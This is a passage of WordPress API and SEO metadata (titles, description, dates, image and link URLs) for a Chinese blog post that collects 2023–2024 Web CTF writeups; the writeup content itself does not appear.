mnihyc&#039;s Blog\",\"isPartOf\":{\"@id\":\"https:\/\/0self.mnihyc.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814#primaryimage\"},\"image\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814#primaryimage\"},\"thumbnailUrl\":\"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png\",\"datePublished\":\"2024-06-14T07:52:29+00:00\",\"dateModified\":\"2024-10-20T14:25:25+00:00\",\"description\":\"\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e00\u4e2a\u666e\u901a\u7684 CTF Writeup \u8bb0\u5f55\u8d34\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\uff0c\u5f53\u573a\u505a\u51fa\u6765\u65f6\u5199\u7684 wp\u3002\u6709\u7684\u6ca1\u90a3\u4e48\u8be6\u7ec6\uff0c\u6216\u8005\u538b\u6839\u6ca1\u5199\u7684\uff0c\u5c31\u4e0d\u653e\u4e0a\u6765\u732e\u4e11\u4e86\u3002 \u6309\u7167\u65f6\u95f4\u5012\u53d9\u6392\u5217\uff0c\u5927\u6982\u5305\u62ec\uff1a2024 R3CTF\uff0c2024 \u4eac\u9e92CTF\uff0c2024 D^3CTF\uff0c2023 \u5f3a\u7f51\u62df\u6001\u7ebf\u4e0a\uff0c2023 HITCTF\uff0c2023\",\"breadcrumb\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/mnihyc.com\/blog\/archives\/1814\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814#primaryimage\",\"url\":\"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png\",\"contentUrl\":\"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/0self.mnihyc.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, &#8230;)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/0self.mnihyc.com\/blog\/#website\",\"url\":\"https:\/\/0self.mnihyc.com\/blog\/\",\"name\":\"mnihyc&#039;s Blog\",\"description\":\"Welcome!\",\"publisher\":{\"@id\":\"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/0self.mnihyc.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-Hans\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751\",\"name\":\"mnihyc\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/8d111f863afc3f98816bc96220f97077d470a96f41088de9f19530fc480f8e72?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/8d111f863afc3f98816bc96220f97077d470a96f41088de9f19530fc480f8e72?s=96&d=mm&r=g\",\"caption\":\"mnihyc\"},\"logo\":{\"@id\":\"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/image\/\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, ...) - mnihyc&#039;s Blog","description":"\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e00\u4e2a\u666e\u901a\u7684 CTF Writeup \u8bb0\u5f55\u8d34\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\uff0c\u5f53\u573a\u505a\u51fa\u6765\u65f6\u5199\u7684 wp\u3002\u6709\u7684\u6ca1\u90a3\u4e48\u8be6\u7ec6\uff0c\u6216\u8005\u538b\u6839\u6ca1\u5199\u7684\uff0c\u5c31\u4e0d\u653e\u4e0a\u6765\u732e\u4e11\u4e86\u3002 \u6309\u7167\u65f6\u95f4\u5012\u53d9\u6392\u5217\uff0c\u5927\u6982\u5305\u62ec\uff1a2024 R3CTF\uff0c2024 \u4eac\u9e92CTF\uff0c2024 D^3CTF\uff0c2023 \u5f3a\u7f51\u62df\u6001\u7ebf\u4e0a\uff0c2023 HITCTF\uff0c2023","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/mnihyc.com\/blog\/archives\/1814","og_locale":"zh_CN","og_type":"article","og_title":"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, ...) - mnihyc&#039;s Blog","og_description":"\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e00\u4e2a\u666e\u901a\u7684 CTF Writeup \u8bb0\u5f55\u8d34\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\uff0c\u5f53\u573a\u505a\u51fa\u6765\u65f6\u5199\u7684 wp\u3002\u6709\u7684\u6ca1\u90a3\u4e48\u8be6\u7ec6\uff0c\u6216\u8005\u538b\u6839\u6ca1\u5199\u7684\uff0c\u5c31\u4e0d\u653e\u4e0a\u6765\u732e\u4e11\u4e86\u3002 \u6309\u7167\u65f6\u95f4\u5012\u53d9\u6392\u5217\uff0c\u5927\u6982\u5305\u62ec\uff1a2024 R3CTF\uff0c2024 \u4eac\u9e92CTF\uff0c2024 D^3CTF\uff0c2023 \u5f3a\u7f51\u62df\u6001\u7ebf\u4e0a\uff0c2023 HITCTF\uff0c2023","og_url":"https:\/\/mnihyc.com\/blog\/archives\/1814","og_site_name":"mnihyc&#039;s Blog","article_published_time":"2024-06-14T07:52:29+00:00","article_modified_time":"2024-10-20T14:25:25+00:00","og_image":[{"url":"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png","type":"","width":"","height":""}],"author":"mnihyc","twitter_card":"summary_large_image","twitter_creator":"@mnihyc","twitter_site":"@mnihyc","twitter_misc":{"\u4f5c\u8005":"mnihyc","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"21 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/mnihyc.com\/blog\/archives\/1814#article","isPartOf":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1814"},"author":{"name":"mnihyc","@id":"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751"},"headline":"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, &#8230;)","datePublished":"2024-06-14T07:52:29+00:00","dateModified":"2024-10-20T14:25:25+00:00","mainEntityOfPage":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1814"},"wordCount":957,"commentCount":0,"publisher":{"@id":"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751"},"image":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1814#primaryimage"},"thumbnailUrl":"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png","articleSection":["Web","Writeup"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/mnihyc.com\/blog\/archives\/1814#respond"]}]},{"@type":"WebPage","@id":"https:\/\/mnihyc.com\/blog\/archives\/1814","url":"https:\/\/mnihyc.com\/blog\/archives\/1814","name":"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, ...) - mnihyc&#039;s Blog","isPartOf":{"@id":"https:\/\/0self.mnihyc.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1814#primaryimage"},"image":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1814#primaryimage"},"thumbnailUrl":"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png","datePublished":"2024-06-14T07:52:29+00:00","dateModified":"2024-10-20T14:25:25+00:00","description":"\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e00\u4e2a\u666e\u901a\u7684 CTF Writeup \u8bb0\u5f55\u8d34\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\uff0c\u5f53\u573a\u505a\u51fa\u6765\u65f6\u5199\u7684 wp\u3002\u6709\u7684\u6ca1\u90a3\u4e48\u8be6\u7ec6\uff0c\u6216\u8005\u538b\u6839\u6ca1\u5199\u7684\uff0c\u5c31\u4e0d\u653e\u4e0a\u6765\u732e\u4e11\u4e86\u3002 \u6309\u7167\u65f6\u95f4\u5012\u53d9\u6392\u5217\uff0c\u5927\u6982\u5305\u62ec\uff1a2024 R3CTF\uff0c2024 \u4eac\u9e92CTF\uff0c2024 D^3CTF\uff0c2023 \u5f3a\u7f51\u62df\u6001\u7ebf\u4e0a\uff0c2023 HITCTF\uff0c2023","breadcrumb":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1814#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/mnihyc.com\/blog\/archives\/1814"]}]},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/mnihyc.com\/blog\/archives\/1814#primaryimage","url":"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png","contentUrl":"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png"},{"@type":"BreadcrumbList","@id":"https:\/\/mnihyc.com\/blog\/archives\/1814#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/0self.mnihyc.com\/blog"},{"@type":"ListItem","position":2,"name":"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, &#8230;)"}]},{"@type":"WebSite","@id":"https:\/\/0self.mnihyc.com\/blog\/#website","url":"https:\/\/0self.mnihyc.com\/blog\/","name":"mnihyc&#039;s Blog","description":"Welcome!","publisher":{"@id":"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/0self.mnihyc.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-Hans"},{"@type":["Person","Organization"],"@id":"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751","name":"mnihyc","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/8d111f863afc3f98816bc96220f97077d470a96f41088de9f19530fc480f8e72?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/8d111f863afc3f98816bc96220f97077d470a96f41088de9f19530fc480f8e72?s=96&d=mm&r=g","caption":"mnihyc"},"logo":{"@id":"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/image\/"}}]}},"_links":{"self":[{"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/posts\/1814","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/comments?post=1814"}],"version-history":[{"count":24,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/posts\/1814\/revisions"}],"predecessor-version":[{"id":1909,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/posts\/1814\/revisions\/1909"}],"wp:attachment":[{"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/media?parent=1814"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/categories?post=1814"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/tags?post=1814"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}